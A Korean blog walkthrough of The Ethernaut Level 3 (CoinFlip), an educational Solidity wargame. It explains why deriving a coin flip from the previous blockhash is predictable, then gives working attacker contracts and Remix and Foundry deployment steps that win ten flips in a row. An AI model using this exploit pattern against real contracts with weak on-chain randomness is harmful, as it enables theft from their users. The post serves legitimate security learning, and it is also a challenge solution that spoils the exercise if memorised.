// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
Blockhash함수로 전 block의 hash를 만들고 그 값을 FACTOR와 나눠서 1인지 확인한다.
그리고 이 값이 true인지 false인지 맞추는 문제이다.
문제에선 총 10번을 맞춰야 통과한다.
현재 FACTOR값은 2^255이다.
그리고 blockhash는 block number, 시간, contract 등에 따라 변하기 때문에 랜덤이여서 어떻게 하지 싶겠지만 취약점이 존재한다.
이전 블록의 해쉬나 FACTOR 등의 값들은 모두 체인위에 올라가있을거고 따라서 다른 컨트랙트를 만들어도 똑같은 값을 획득할 수 있다. (약간 리플레이 어택 느낌)
그래서 나는 Remix를 통해 똑같은 코드를 만든 후 해당 instance에 같은 side값을 전송하도록 했다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./CoinFlip.sol";
contract CoinFlipSolver {
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
address target;
function HackLv3(address _target) public {
target = _target;
}
function flip() public{
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
CoinFlip(target).flip(side);
}
}
위는 풀이 코드이다.
CoinFlip.sol은 원래 CoinFlip문제의 코드와 똑같은걸 사용하면 된다.
그리고 HackLv3을 사용해 target을 instance 주소로 지정해준다.
Remix IDE 사용
배포방법은 대충 Environment에서 Metamask로 설정하면 내 주소랑 연결되고 CoinFlipSolver.sol 파일을 컴파일 후 deploy를 누르면 된다.
그러면 Deployed Contractsw의 배포된 contract가 뜰텐데 여기서 instance주소를 넣은 후 HackLv3를 눌러 target지정 후 flip을 눌러 consecutiveWins를 늘리면 된다.
이때, 10번 이겨야 하므로 10번 누르는데 한번 네트워크 통신하는데 시간이 좀 걸리므로 응답 오면 다음꺼 누르는 식으로 하면 된다. (중간에 실패했다고 뜰수도 있는 데 무시하고 한번 더하면 됨)
그리고 consecutiveWins가 public이기에
await contract.consecutiveWins();
이 코드로 확인 가능하다.
Foundry배포
Remix IDE를 사용하지 않고 로컬에서 Foundry를 사용해 배포하는 법도 있다.
요 블로그에서 foundry사용은 처음이므로 설치 방법부터 알아보겠다.
curl -L https://foundry.paradigm.xyz | bash
foundryup
위 명령어로 foundry를 설치 후 foundryup 명령어를 실행시킨다.
forge init my-project
cd my-project
그 후 project를 만들면 여러 기본 스크립트들이 설치된다.
.env파일을 만들고 내 지갑의 private key를 환경변수에 저장한다.
후에 script에 파일을 solve 파일을 넣으면 되는데
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../src/coin_flip.sol";
import "forge-std/Script.sol";
import "forge-std/console.sol";
contract Player {
uint256 constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(CoinFlip _coinFlipInstance) {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
_coinFlipInstance.flip(side);
}
}
contract CoinFlipSolution is Script {
CoinFlip public coinflipInstance = CoinFlip(0xA924Bd5ED4C3983F7e6CA0e4693753EEa10b6497); // instance address
function run() external {
vm.startBroadcast(vm.envUint("user_private_key"));
new Player(coinflipInstance);
console.log("consecutiveWins: ", coinflipInstance.consecutiveWins());
vm.stopBroadcast();
}
}
// 코드 출처 : https://scarce-lady-074.notion.site/CoinFlip-2349d2f6dbb24f56a1536410e56e1363
// 문제 시 삭제하겠습니다.
대충 저렇게 해서 CoinFLipSolution.s.sol파일을 만들면 된다.
src/coin_flip.sol파일은 원래 coin flip 문제의 소스코드를 넣고
CoinFlip객체 만드는 부분에서 instance address를 할당해준다.
그 후 배포를 하면되는데 아래 명령어를 내project 폴더에서 실행시키면 된다.
forge script script/CoinFlipSolution.s.sol:CoinFlipSolution --fork-url {내 rpc-url} --slow --broadcast -vvvv
--fork-url엔 내 rpc-url을 넣으면 되는데 로컬로 해도 되고 혹은 아래 주소에서 만들어도 된다.
그리고 --slow --broadcast옵션을 통해 instance에 반영되게 해준다.
그러면 대충 아래와 같이 나오면서 컴파일 후 배포가 될것이다.
instance에 확인하면 해당 값이 반영된걸 볼 수 있다.
ㅈㅈ
'Web3 > The Ethernaut' 카테고리의 다른 글
[The Ethernaut] Level 6. Delegation (0) | 2025.01.17 |
---|---|
[The Ethernaut] Level 5. Token (0) | 2025.01.17 |
[The Ethernaut] Level 4. Telephone (0) | 2025.01.17 |
[The Ethernaut] Level 1. Fallback (2) | 2025.01.06 |